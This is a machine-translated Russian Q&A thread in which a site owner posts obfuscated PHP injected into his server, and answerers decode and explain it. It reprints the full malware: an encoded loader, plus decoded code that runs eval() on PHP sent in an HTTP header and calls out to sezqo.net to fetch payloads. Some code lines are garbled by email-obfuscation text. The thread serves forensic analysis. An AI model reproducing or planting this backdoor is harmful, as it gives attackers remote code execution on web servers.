Мой сервер был взломан, зашифрованный код был введен. я не мог знать, какова была цель этого кода? Пожалуйста, кто-нибудь, помогите мне

мои php файлы были взломаны, и кто-то вставил какой-то закодированный текст в мои файлы. Может ли кто-нибудь помочь мне понять, что на самом деле делает этот код? Я не могу расшифровать это.

вот этот кодированный кусок кода.

/*versio:3.01*/$II11=110426;if (!function_exists('I11lIl1I')){$GLOBALS['II11'] = '!aW5pX3NldA$_vYWxsb3dfdXJsX2ZvcGVuZGlzcGxheV9lcnJvcnM*vZnRwLzIwMTMwOQMy4wMQasMUVEwT1EwMDAwMDBRME9RMFEoaHR0cDovLw%WSFRUUFMmb2ZmE= PaHR0cHM6Ly8gSFRUUF9IT1NUQNvdW5pb24ufcc2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUU&kBl!xUVVFUllfU1RSSU5HKs cPwmNZGV0ZXJtaW5hdG9ypZLg*(LmxvZwoHkUSFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQ?dmVyc2lvMLQ{%LXBocAoSFRUUF9FWEVDUEhQ=b3V0b2s{SFRUUF9VU0VSX0FHRU5ULAHICZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAS#ox~YQ^g=c2V6cW8ubmV0VtZmFzdGFkZHouY29tL3czLnBocD91PQmjlJms9!JnQ9cGhwJnA9!^*XJnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYrdE8yMG9RZnBWbGhaQXRCY2ZPSFhKOEZFVER3UktOU1FpVnFoWlpxYk11VmgwN3NqZUZDdkh1WjJZdnRnTk9oZmpCWm1ibnNuUDVaaHhIeERoYXN5aE8yZHFnYThaWnZvblRGYzl5YXBvdkpBWjJ0RXRESG1kcHdKN2pnaGVHNXppSmx6aWU0YlNJWTV0NGJSS25jVkF3WHVQMVdxUmptM0RESERld3U4QjJ6b0J0QS91VmFCUGtxWnN5SGtRc2k0emp1ZTM3L3J4RlRvNDlrSEk4NHBMWi9jMk5TVjVJUmRuRVlaN3hlTU1NbnU4WUtNc1ozK1VwcWF0b012R1Q4U2hPbUlHYUVnZGVBZ2ZIOHhJVGxYdEtPUTEzZVVMSHlBTmFBaFRGczJnQVQrTEF3Z0NKNTRGQ2c2NlNKSHNLUUNpSXNpMUxxVWxjME9KUTlGazVOa0d6ZURzSXM1U3pGQUpLSHpuZm5yZmJsRmhFK1NOUGFOVWk5T1RKalg2R1ZEeURKUVZyU29weUVaTnhQUGR0ZSs2RHR4TkZOVUFVcUJDSytkNGJJQ1habG9zSFFsYkVreXNtZTJZaHNDWkswRkJxVytUeWZuSGozeTREK05jaUgvQTkzS0hyaC9WY1R5OCtUUmN0RXEzZ2JYKzl1Wmd1N3hlejVlSmlkbmVGRWlybGh3VXUvZGxzZXJsY2VwK24vdjJ5UlFhbWVDdVdvQXlQZUxhV1ExV1k4U0JNc29MVnFCaHd0dG55UDRZU2hqQlhhaWdkdityc0txck9GSmFxckVFMEZ4VlorQXZyb3FxNmtZMlZCMGNuYWVGVjIvYUIwbGMyZGYzS2lzZmVrZWJJZmtlQTI5RjJoMFdnVzRiK04xMlNGNVdGVjJwaEdvcGY1SHE1dkcwN2xnMkU3L24zRlA1ZFp3VS9KM0I0VVM2OUNrWlpMMWhGdDllM2dYOW4wVGExOFBobHVyanovRm1EMGZ1QzVhY1hQNkdtejhHNGxCZjZ0TTZuUjJ5NW82WW1WeTh5eWNrSk1kNDBOVG10MlArUWpsbEZ3OEtvUWkvVnZIQTZJOUVvazBoblVXT0FEQzltZ2oxdmsyek5ERm82MTlJcTRkNHVSYWhTdDcvWkR4V294SnNHT1hsUDJIeDlqelBaamtPVVJIdUNkdlhPQkdHR2hZOFpvVjhEYWltbVJjL0ZHZmtxUVh2QXRYM2NRc2ZtdjFrdW5iUG5ab1VxeDhIZGRBR3ArYVpZRHloNmpMM3NKRzRKdS8wK0JLaG55Z0tDZEZlY3dabnFqcmtOZjM3RkdJNEF5THRheEttSk9IWkhEQUJacTNFaG9xYmRxRzdoSkJpYUQzcWFUQTVmSVVjdXFZZ2QwTjR6WmJMZkdPNUNqemlPQ3JsaVcyN0JjNTRCL2tKOG1vejAwTnVPaWVtTXNweXR3a2Rvc0FBYlpWVVFsUUwzM3lvLzZDeW8zR1lDWEpIWXFwVDFoK2d4d2dCcStLYkVIMm8rRG9aaXVGV0lmVkFYM2h4OVROY3JlR1VjSFF6MUVOUGJ4MWdqWWh6bUMreDd6ejZ6SlJzVGVqQ2ZIWVF0Wi9BQkkxWXRtNTB1U0hWTUdBME5oa3VWNC8wT3dpSEpBWGVEZFp5ekVGYVNQNGJxZlVCWkY0anBDaUFpQ0s2OG0ya1FtTlluYndGZzd5Kytnb1hiaThVRkhGVkIyOWoxRjNtKyttTVEybDZ6MyszaWNRUE5TOXQ4czIxYkVVemkwMTBhUDFjazczS3FLWlhIZFBuNWxqN3NVNllsYVRyN1VyK2hmNEpYZXhRbElPeWc5bko1MkFHNHJOWUJsdyttcHQ1SkFCamsxZkxuMC9aVUxROXRLVlFjNElaUTVReDRleld2QW9KVmo2M3UrNnJZajlTSVUwU3hTWWlqNVRaR1ZxNCtSZkNVeDN6MUkyRjdrdElaWENna2NVeCtnUDFmR2lYTGNTbXVqVVZoaXhaSnF1bUlZQS93OGtMa2VtclVpcWt2NmtWdmo3ckRCTlRidnFzUm9hbkd5eGFSZTVKdno5M0padDNYTmkwMTdCUStXZ29PRWY0QXoyRmxXek8zcVN5dHlybCtGeXZkVXRySGYvRytWQ25RRmJneVlKcGExem1VNkh3QVFEc0lFUGdxMTFWbTFmUG1jN3VDa2M0SUVSQ25veHc5YXNMc3phbHFRYmR4TzVFMUtDSlJjUnhiUGxBT2x6cWpoMTVXdXd1TVJkOVZialM1M2UyVVVBS2ZFT3ozS3RGU0gvU3hPOElSMGFwZ3Bvc2czelZsVlR6SDNKQUZBbHNaM0hBZ3VGZTRZNDdseXVVaFlmTDNxZEh0RGNSM3pON1UwT3REZFd1QXQvWWNHY0xUK2pDK1pKdmhKdVMvblNuQ2hWYkpQWEpkNFozb0h0QWgvSjFFY2w4OFdCTTFtNzJ1U0l3c0pyWE9UM2JZVVNqWk9CUExic0J0RHZ1WUdjbzJMTmU0ZjVtd2lIQnFLUi9WRDZrZGZvaWxybHkwcEtEY3NESGM3aEtXdDcyKzE0Z2h2N3pLNnNmczgyd1hQaHIxamdCZ0RKUGRtZ1ZaR3JJOVRxM2pkV0xoTXd1dFNlUlJlN25FKzFwNCttSUJxRWVzZHlZS1VIZldXeWRNdGI0RHB0UUNxVWh5SmNJRm05UUdYVzhnVnl4TDNhb1MxaHVKaFVZRFE1MHhGSTY5NzZpKzNaVWlzZ2ZGVWo2WFMvbTdyMWdVZ0dXMStwQWROd1ZWb3EvNk5EbU1UR3EzK2g4cWFYNkIiKSkpOwWn=&kcHJlZ19yZXBsYWNl';function I11lIl1I($a, $b){$c=$GLOBALS['II11']; $d=pack('H*','6261736536345f6465636f'.'6465'); return $d(substr($c, $a, $b));};$QO0000QQ0 = I11lIl1I(3374, 16);$QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");};
 SDwarfs20 нояб. 2013 г., 17:29
Обратите внимание, что мой сценарий расследования ниже предоставляет вам файлы данных декодированного сценария для дальнейшего анализа. Это также может дать вам подсказку о том, как этот код проник на ваш сервер ... просто сообщив вам, какие сценарии были заражены, а какие - нет.
 SDwarfs20 нояб. 2013 г., 17:28
Спадли прав. Но я все равно дал вам расшифрованный скрипт и объяснил, что он делает. На самом деле он возвращает скрипт, который будет выполнен. Возможно, вы можете (осторожно!) Попытаться отправить поддельный URL-адрес скрипта в эту сеть, а затем получить реальный php-код, который он хочет выполнить на вашем сервере ... Но это всего лишь криминалистика. Он дает вам информацию о том, что могло произойти, и насколько плоха ваша ситуация на самом деле. Но вы не получите действительно верного ответа (сценарий, отправленный вам при попытке обмануть сеть, может быть другим).
 Spudley20 нояб. 2013 г., 13:08
Я не потратил время на его декодирование, эти вещи обычно оказываются загрузчиками для дальнейшего вредоносного кода. Если бы вы расшифровали его, скорее всего, все, что вы узнали бы из него любого значения, - это URL, на котором размещен реальный код полезной нагрузки. Этот URL, вероятно, в любом случае является временным, так что на самом деле он тоже не очень полезен. Если вы не готовы потратить немало времени на следование этому пути, вам лучше не беспокоиться о том, что делает код, а вместо этого тратить эти усилия на то, чтобы понять, как они попали в систему и как предотвратить ее повторение. Это более ценное использование вашего времени
 Leri20 нояб. 2013 г., 13:03
Это просто запутанный код. Вы можете отслеживать каждый шаг, который он делает.

Ответы на вопрос(2)

Начинается так:

$II11 = 110426;
if (!function_exists('I11lIl1I')) {
    $GLOBALS['II11'] =   'PAYLOAD';

    function I11lIl1I($a, $b) {
        $c = $GLOBALS['II11'];
        $d = pack('H*', '6261736536345f6465636f' . '6465');
        return $d(substr($c, $a, $b));
    };
    $QO0000QQ0 = I11lIl1I(3374, 16);
    $QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");
};

Ведьма превращается в это:

if (!defined("determinator")) {
    if (function_exists(I11lIl1I(1, 10))) {
        @ini_set(I11lIl1I(14, 20), 1);
        @ini_set(I11lIl1I(34, 19), 0);
    }

    function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
        $I1lI1I = microtime(true);
        return feof($Q0OOOQ);
    }

    function w3net_getfile($I1ll11, $I11IIl) {
        $IIlI1I = "curl";
        $I1IIll = $IIlI1I . "_init";
        if (@ini_get("allow_url_fopen") == "1") {
            return @file_get_contents("http://" . $I1ll11 . $I11IIl . "&w=fgc");
        } elseif (function_exists($I1IIll)) {
            $QO00QO = @$I1IIll();
            $QOOOQQ = $IIlI1I . "_setopt";
            $IIl11I = $IIlI1I . "_exec";
            @$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl . "&w=cu");
            @$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
            @$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
            @$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
            $IIIl1I = @$IIl11I($QO00QO);
            @curl_close($QO00QO);
            if (empty($IIIl1I)) {
                $IIIl1I = "";
            } return $IIIl1I;
        } else {
            $Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
            if ($Q0OOOQ) {
                $I111lI = "";
                $I1lI1I = NULL;
                @fputs($Q0OOOQ, "GET {$I11IIl}" . "&w=sk HTTP/1.0" . "\r\n" . "Host: " . "{$I1ll11}\r\n");
                $QOOOQO = PHP_OS . "/" . PHP_VERSION;
                @fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
                while (!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
                    $I111lI .= @fgets($Q0OOOQ, 128);
                } @fclose($Q0OOOQ);
                $Q000OQ = explode("\r\n\r\n", $I111lI);
                unset($Q000OQ[0]);
                return implode("\r\n\r\n", $Q000OQ);
            }
        }
    }

    function w3net_output($I1I1lI, $I1lIll) {
        echo "Y_" . $I1I1lI . ":" . $I1lIll . "\r\n";
    }

    function php_server($Q0000Q) {
        return @$_SERVER[$Q0000Q];
    }

$IlI11l = I11lIl1I(55, 14);
    $I1lll1 = I11lIl1I(69, 6);
    $Q0Q0QO = I11lIl1I(78, 23);
    $I1ll11 = I11lIl1I(102, 10);
    if (isset($_SERVER[I11lIl1I(114, 7)])) {
        if (@$_SERVER[I11lIl1I(114, 7)] != I11lIl1I(122, 4)) {
            $I1ll11 = I11lIl1I(130, 11);
        }
    } $I1ll11.=strtolower(@$_SERVER[I11lIl1I(142, 12)]);
    foreach ($_GET as $I1I1lI => $I1lIll) {
        if (strpos($I1lIll, I11lIl1I(157, 7))) {
            $_GET[$I1I1lI] = I11lIl1I(167, 0);
        } elseif (strpos($I1lIll, I11lIl1I(167, 8))) {
            $_GET[$I1I1lI] = I11lIl1I(167, 0);
        }
    } if (!isset($_SERVER[I11lIl1I(175, 15)])) {
        $_SERVER[I11lIl1I(175, 15)] = @$_SERVER[I11lIl1I(190, 15)];
        if (isset($_SERVER[I11lIl1I(211, 16)])) {
            $_SERVER[I11lIl1I(175, 15)] .= I11lIl1I(231, 2) . @$_SERVER[I11lIl1I(211, 16)];
        }
    }

    function get_temp_directory() {
        $I11III = dirname(__FILE__) . DIRECTORY_SEPARATOR;
        $Q0Q00Q = Array("/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III . "tmp", $I11III . "wp-content/uploads", $I11III . "wp-content/cache",);
        foreach ($Q0Q00Q as $Q0QOOO) {
            if (!empty($Q0QOOO)) {
                $Q0QOOO.=DIRECTORY_SEPARATOR;
                if (@is_writable($Q0QOOO)) {
                    $I11III = $Q0QOOO;
                    break;
                }
            }
        } return $I11III;
    }

if (strlen($I1ll11) < 10) {
        define(I11lIl1I(235, 16), 0);
    } elseif ($Q0OO0O = $I1ll11 . @$_SERVER[I11lIl1I(175, 15)]) {
        $QO0O0Q = @md5($I1ll11 . PHP_OS . $I1lll1 . $Q0Q0QO);
        $w3n_code = get_temp_directory() . I11lIl1I(253, 2) . $QO0O0Q;
        define(I11lIl1I(235, 16), $w3n_code);
        $IlIlII = $w3n_code . I11lIl1I(257, 6);
        if (@$_SERVER[I11lIl1I(267, 15)] == $QO0O0Q) {
            $QO0QQ0 = I11lIl1I(282, 18);
            echo "\r\n";
            w3net_output(I11lIl1I(301, 8), $I1lll1 . I11lIl1I(310, 2) . $IlI11l . I11lIl1I(314, 6));
            if ($Q00OQO = $QO0QQ0(@$_SERVER[I11lIl1I(321, 16)])) {
                @eval($Q00OQO);
                echo "\r\n";
                w3net_output(I11lIl1I(338, 4), I11lIl1I(342, 3));
            } exit(0);
        } $II11l1 = False;
        $Il11I1 = @strtolower(@$_SERVER[I11lIl1I(346, 20)]);
        foreach (explode(I11lIl1I(366, 2), I11lIl1I(371, 54)) as $QOOQOO) {
            if (strpos($Il11I1, $QOOQOO) !== False) {
                $Il1Il1 = @fopen($w3n_code . I11lIl1I(257, 6), I11lIl1I(430, 2));
                $Ill11I = @urlencode(@$_SERVER[I11lIl1I(175, 15)]);
                @fwrite($Il1Il1, time() . "\t" . $QOOQOO . "\t" . $Ill11I . "\n");
                @fclose($Il1Il1);
                $II11l1 = True;
                break;
            }
        } if (@is_file($w3n_code)) {
            @touch($w3n_code);
            @include_once($w3n_code);
        } elseif ($II11l1 === True) {
            $I1Il1I = Array(I11lIl1I(435, 12), I11lIl1I(449, 16));
            if (@touch($w3n_code)) {
                $Q0OO0O = @urlencode($Q0OO0O);
                $I11IIl = I11lIl1I(465, 14) . $Q0OO0O . I11lIl1I(482, 4) . $QO0O0Q . I11lIl1I(487, 12) . $IlI11l . I11lIl1I(503, 4) . $I1lll1;
                $QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
                @touch($w3n_code);
            }
        }
    } else {
        define(I11lIl1I(235, 16), 1);
    }
}

После этого кто знает. Хорошей охоты

 Vlad Preda20 нояб. 2013 г., 13:10
Я дошел до той же точки, но мне было лень двигаться дальше. Скорее всего, он внедряет некоторый удаленно загруженный код во все доступные для записи файлы, которые он может найти.
 SDwarfs20 нояб. 2013 г., 17:02
Нет, это не так. Он просто сообщает сетевому серверу (как только сценарий выполняется по запросу от поискового робота) с некоторым хешем аутентификации (и URL-адрес местоположения сценария + некоторые параметры) и ждет, пока сеть перезвонит (с этим хеш как аутентификация). Затем этот вызов будет содержать код PHP, который будет выполнен сценарием. PHP-скрипт будет отправлен через HTTP-заголовки, которых нет в лог-файлах http-сервера. => Для получения дополнительной информации см. Мой ответ ...
Решение Вопроса
Краткий ответ

Он объявляет себя бот-сети или червя, который имеетhttp://sezqo.net/w3.php"как ретранслятор сообщений. Скорее всего, этот ретранслятор является только сервером, взломанным таким же образом. Эта" сеть "может затем отправить запрос назад (может быть, не сразу, а намного позже), содержащий реальный код, который должен быть выполнен. Этот код может либо замените свой веб-сайт (во всех или только в некоторых особых случаях скрипт выполняется только перед вашим кодом), и он может делать все, что может делать скрипт PHP.

Декодированный и убранный скрипт
if (!defined("determinator")) {
  if (function_exists("ini_set")) { 
    @ini_set("allow_url_fopen", 1);
    @ini_set("display_errors", 0);
  }

  function w3net_feof($f, &$time = NULL) {
    $time = microtime(true);
    return feof($f);
  }

  function w3net_getfile($host, $URI) {
    if (@ini_get("allow_url_fopen") == "1") {
      return @file_get_contents("http://" . $host . $URI. "&w=fgc");
    } elseif (function_exists("curl_init")){
      $ch = @curl_init();
      @curl_setopt($ch, CURLOPT_URL, "http://" . $host . $URI. "&w=cu");
      @curl_setopt($ch, CURLOPT_HEADER, false);
      @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 6);
      $curl_result = @curl_exec($ch);
      @curl_close($ch);
      if (empty($curl_result)) {
        $curl_result = "";
      }
      return $curl_result;
    } else {
      $f = @fsockopen($host, 80, $errno, $errstr, 5);
      if ($f) {
        $data = "";
        $time = NULL;
        @fputs($f, "GET {$URI}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$host}\r\n");
        $useragent = PHP_OS."/".PHP_VERSION;
        @fputs($f, "User-Agent: {$useragent}\r\n\r\n");
        while(!w3net_feof($f, $time) && (microtime(true) - $time) < 2) {
          $data .= @fgets($f, 128);
        }
        @fclose($f);
        $parts = explode("\r\n\r\n", $data);
        unset($parts[0]);
        return implode("\r\n\r\n", $parts);
      }
    }
  }

  function w3net_output($key, $val) {
    echo "Y_".$key.":".$val."\r\n";
  }

  function php_server($varname){
    return @$_SERVER[$varname];
  }

  $version1="ftp/201309";
  $version2="3.01";
  $host="http://";
  if (isset($_SERVER["HTTPS"])) {
    if (@$_SERVER["HTTPS"] != "off") { $host="https://"; }
  }
  $host.=strtolower(@$_SERVER["HTTP_HOST"]);

  foreach ($_GET as $key=>$val) {
    if (strpos($val,"union")) {
      $_GET[$key]="";
    } elseif (strpos($val,"select")) {
      $_GET[$key]="";
    }
  }

  if(!isset($_SERVER["REQUEST_URI"])) {
    $_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"];
    if(isset($_SERVER["QUERY_STRING"])) {
      $_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"];
    }
  }

  function get_temp_directory() {
    $result=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $tmpdirs = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $result."tmp", $result."wp-content/uploads", $result."wp-content/cache", );

    foreach ($tmpdirs as $tmpdir){ 
      if (!empty($tmpdir)){
        $tmpdir.=DIRECTORY_SEPARATOR;
        if (@is_writable($tmpdir)) {
          $result = $tmpdir; break;
        }
      }
    }

    return $result;
  }

  if (strlen($host) < 10) {
    define("determinator", 0);

  } elseif ([email protected]$_SERVER["REQUEST_URI"]) {
    [email protected]($host.PHP_OS.$version2."QQ0OQ000000Q0OQ0Q");
    $w3n_code=get_temp_directory().".".$hash;
    define("determinator", $w3n_code);
    $IlIlII = $w3n_code.".log";
    if (@$_SERVER["HTTP_Y_AUTH"]==$hash) {
      echo "\r\n";
      w3net_output("versio", $version2."-".$version1."-php");
      if ($code=base64_decode(@$_SERVER["HTTP_EXECPHP"])){
        @eval($code);
        echo "\r\n";
        w3net_output("out", "ok");
      }
      exit(0);
    }
    $found = False;
    $ua = @strtolower(@$_SERVER["HTTP_USER_AGENT"]);
    foreach (explode(",", "google,yahoo,baidu,bingbot,msnbot,yandex") as $pattern) {
      if (strpos($ua, $pattern)!==False) {
        $f = @fopen($w3n_code.".log", "a");
        $requestURI_encoded = @urlencode(@$_SERVER["REQUEST_URI"]);
        @fwrite($f, time()."\t".$pattern."\t".$requestURI_encoded."\n");
        @fclose($f);
        $found=True;
        break;
      }
    }
    if (@is_file($w3n_code)) {
      @touch($w3n_code);
      @include_once($w3n_code);
    } elseif ($found === True) {
      if (@touch($w3n_code)) {
        [email protected]($requestURL);
        $URI = "/w3.php?u=".$requestURL."&k=".$hash."&t=php&p=".$version1."&v=".$version2;
        $data = w3net_getfile("sezqo.net", $URI);
        @touch($w3n_code);
      }
    }
  } else {
    define("determinator", 1);
  }
}
Что делает сценарий (подробное объяснение)

ОК, что это делает? Сначала он пытается снять некоторые ограничения безопасности PHP (включить «allow_url_fopen» и отключить «display_errors»). Затем он определяет функции w3net_feof () (используемые w3net_getfile ()) и w3net_getfile ($ host, $ URI). w3net_getfile используется для извлечения данных из URL. Он пробует различные возможности, такие как file_get_contents (если разрешено allow_url_fopen), libcurl и простая реализация HTTP через функции fsocket. Он также определяет функцию w3net_output (), которая используется для вывода пар ключ / значение в результате запроса, запускающего этот сценарий. Он определяет функцию php_server () для извлечения переменных из $ _SERVER, но никогда не используется.

Сделав это, он устанавливает несколько строк версий ($ version1 и $ version2, похоже, является идентификатором самого скрипта). Затем он создает переменную, содержащую часть $ host (включая http: // или https: //) URL-адреса, который позволяет получить доступ к вашему сценарию. Затем он очищает переменную $ _GET от значений, которые содержат «union» и «select» (устанавливает значения в пустую строку). Я предполагаю, что это используется для сокращения окончательного URL. И если он еще не установлен - он устанавливает переменную $ _SERVER "REQUEST_URI" в значение $ _SERVER ["SCRIPT_NAME"]. "?". $ _ SERVER ["QUERY_STRING"].

В качестве следующего шага он определяет функцию, которая ищет доступный для записи каталог, в который он может поместить несколько загрузок.

Следующим шагом является проверка, если корень $ host ("https: //" или "http: //" короче 10 символов. В этом случае он останавливает дальнейшие действия. Это только в случае, если HTTP- Имя хоста сервера короче 3 символов. Это может быть некоторым способом заблокировать работу этого скрипта в специальных настройках, где имя хоста очень короткое (как в среде разработки).

Следующим шагом является попытка, если $ requestURL может быть построен с помощью $ host. @ $ _ SERVER ["REQUEST_URI"] и, если это так, он продолжает следующее:

Создает значение Hash $ hash (используя[email protected]($host.PHP_OS.$version2."QQ0OQ000000Q0OQ0Q");), которая идентифицирует локальную Систему по имени хоста, PHP-OS (версия), $ версии2 «3.01» части строки версии и некоторой соли «QQ0OQ000000Q0OQ0Q».Затем он проверяет, имеет ли текущий запрос заголовок «HTTP_Y_AUTH», равный этому хешу. Если это так, он возвращает некоторую информацию о версии запрашивающему клиентскому компьютеру через w3net_output (). Затем он ищет другой HTTP-заголовок «HTTP_EXECPHP», который напрямую выполняется как код PHP с использованием eval (). После этого скрипт выводит return / linefeed и "out" = "ok" через механизм w3net_output (). Затем он останавливает скрипт через выход (0). Эта часть позволяет удаленному компьютеру, который знает точный хэш-ключ, получить доступ к этому сценарию и выполнить код PHP на вашем компьютере.Если хеш не совпадает (или хеш не был отправлен), он проверяет, совпадает ли «пользовательский агент» с какими-либо шаблонами (любая строка из Google, Yahoo, Baidu, Bingbot, MSNBOT, Yandex). Это доступ поисковых роботов. Если это так, он регистрирует этот доступ в файл журнала, который называется с помощью$w3n_code.".log" где$w3n_code=get_temp_directory().".".$hash; (найден хеш-каталог, добавлено хеш-значение, а затем ".log"). Он записывает одну строку, состоящую из метки unixtime, сопоставленного шаблона (идентифицирующего поисковую систему) и закодированного requestURI (с разделителями табуляции). Я предполагаю, что это используется, чтобы регистрировать, сколько трафика поисковой машины следует ожидать для этого местоположения. Если там много трафика, «сайт» может быть продан или может использоваться для повышения рейтинга страниц некоторых сайтов путем вставки ссылок на другие сайты. Также для переменной $ found установлено значение "true", которая помечает трафик как "поисковый движок".В качестве следующего шага он проверяет, есть ли файл$w3n_code существует, имя файла похоже на файл журнала выше, но без ".log" в его конце. Если это так, он запускает содержащийся PHP-код.Если этот сценарий еще не существует, он проверяет, был ли текущий запрос отмечен ($ found = true;) как трафик поисковой системы. В этом случае скрипт объявляет себя в сети, по запросу"http://sezqo.net/w3.php?u=".$requestURL."&k=".$hash."&t=php&p=".$version1."&v=".$version2, Этот запрос содержит $ requestURL (как добраться до ЭТОГО сценария на вашем сервере), ключ Hash (который позволяет аутентифицировать и отправить сценарию другой скрипт PHP для выполнения) и тип 'php', а также строки версии $ version1 и $ version2. После этого он вызывает touch () для создания пустого файла сценария с именем$w3n_code, Таким образом, этот запрос отправляется только один раз, приходит первый поисковик.Дальнейшая отладка

Сохраните следующий скрипт на своей веб-странице (на том же сервере) и выполните его через браузер, используя https: // и http: //. Он использует часть приведенного выше скрипта, которая генерирует хеш-код и оценивает каталог хранилища. Он выводит имена файлов сценария, который сеть вставила (если уже), и файла журнала. В этом же каталоге ищите любые другие файлы с похожими именами (особенно файлы * .log). Лог-файлы предоставят вам информацию о том, где «червь», описанный выше, проник в систему (их может быть несколько). Если файл без «.log» уже существует, зараженный сценарий уже был объявлен в сети и, возможно, уже выполнил любой код, отправленный через сеть. Если он содержит скрипт, этот скрипт вставляется / выполняется каждый раз, когда скрипт вашего сайта (содержащий приведенный выше код) вызывается ...

ПРИМЕЧАНИЕ. Отсутствие этих файлов не является гарантией того, что ничего не произошло! Поскольку сеть, возможно, уже отправила PHP-скрипт, который удалил все эти следы ...

<?php

function get_temp_directory() {
    $result=dirname(__FILE__).DIRECTORY_SEPARATOR;
    $tmpdirs = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $result."tmp", $result."wp-content/uploads", $result."wp-content/cache", );

    foreach ($tmpdirs as $tmpdir){ 
      if (!empty($tmpdir)){
        $tmpdir.=DIRECTORY_SEPARATOR;
        if (@is_writable($tmpdir)) {
          $result = $tmpdir; break;
        }
      }
    }

    return $result;
}

$version1="ftp/201309";
$version2="3.01";
$host="http://";
if (isset($_SERVER["HTTPS"])) {
  if (@$_SERVER["HTTPS"] != "off") { $host="https://"; }
}
$host.=strtolower(@$_SERVER["HTTP_HOST"]);

[email protected]($host.PHP_OS.$version2."QQ0OQ000000Q0OQ0Q");
$w3n_code=get_temp_directory().".".$hash;

echo "FILENAMES:<br>\n";
echo $w3n_code."<br>\n";
echo $w3n_code.".log<br>\n";

?>
Как я извлек сценарий

Хорошо, чтобы узнать, что он делает, я расшифровал и проанализировал ваш сценарий. Вот как ...

Сначала мы отформатируем это немного более красиво:

    /*versio:3.01*/

    $II11=110426;

    if (!function_exists('I11lIl1I')){
      $GLOBALS['II11'] = '!aW5pX3NldA$_vYWxsb3dfdXJsX2ZvcGVuZGlzcGxheV9lcnJvcnM*vZnRwLzIwMTMwOQMy4wMQasMUVEwT1EwMDAwMDBRME9RMFEoaHR0cDovLw%WSFRUUFMmb2ZmE= PaHR0cHM6Ly8gSFRUUF9IT1NUQNvdW5pb24ufcc2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUU&kBl!xUVVFUllfU1RSSU5HKs cPwmNZGV0ZXJtaW5hdG9ypZLg*(LmxvZwoHkUSFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQ?dmVyc2lvMLQ{%LXBocAoSFRUUF9FWEVDUEhQ=b3V0b2s{SFRUUF9VU0VSX0FHRU5ULAHICZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAS#ox~YQ^g=c2V6cW8ubmV0VtZmFzdGFkZHouY29tL3czLnBocD91PQmjlJms9!JnQ9cGhwJnA9!^*XJnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYrdE8yMG9RZnBWbGhaQXRCY2ZPSFhKOEZFVER3UktOU1FpVnFoWlpxYk11VmgwN3NqZUZDdkh1WjJZdnRnTk9oZmpCWm1ibnNuUDVaaHhIeERoYXN5aE8yZHFnYThaWnZvblRGYzl5YXBvdkpBWjJ0RXRESG1kcHdKN2pnaGVHNXppSmx6aWU0YlNJWTV0NGJSS25jVkF3WHVQMVdxUmptM0RESERld3U4QjJ6b0J0QS91VmFCUGtxWnN5SGtRc2k0emp1ZTM3L3J4RlRvNDlrSEk4NHBMWi9jMk5TVjVJUmRuRVlaN3hlTU1NbnU4WUtNc1ozK1VwcWF0b012R1Q4U2hPbUlHYUVnZGVBZ2ZIOHhJVGxYdEtPUTEzZVVMSHlBTmFBaFRGczJnQVQrTEF3Z0NKNTRGQ2c2NlNKSHNLUUNpSXNpMUxxVWxjME9KUTlGazVOa0d6ZURzSXM1U3pGQUpLSHpuZm5yZmJsRmhFK1NOUGFOVWk5T1RKalg2R1ZEeURKUVZyU29weUVaTnhQUGR0ZSs2RHR4TkZOVUFVcUJDSytkNGJJQ1habG9zSFFsYkVreXNtZTJZaHNDWkswRkJxVytUeWZuSGozeTREK05jaUgvQTkzS0hyaC9WY1R5OCtUUmN0RXEzZ2JYKzl1Wmd1N3hlejVlSmlkbmVGRWlybGh3VXUvZGxzZXJsY2VwK24vdjJ5UlFhbWVDdVdvQXlQZUxhV1ExV1k4U0JNc29MVnFCaHd0dG55UDRZU2hqQlhhaWdkdityc0txck9GSmFxckVFMEZ4VlorQXZyb3FxNmtZMlZCMGNuYWVGVjIvYUIwbGMyZGYzS2lzZmVrZWJJZmtlQTI5RjJoMFdnVzRiK04xMlNGNVdGVjJwaEdvcGY1SHE1dkcwN2xnMkU3L24zRlA1ZFp3VS9KM0I0VVM2OUNrWlpMMWhGdDllM2dYOW4wVGExOFBobHVyanov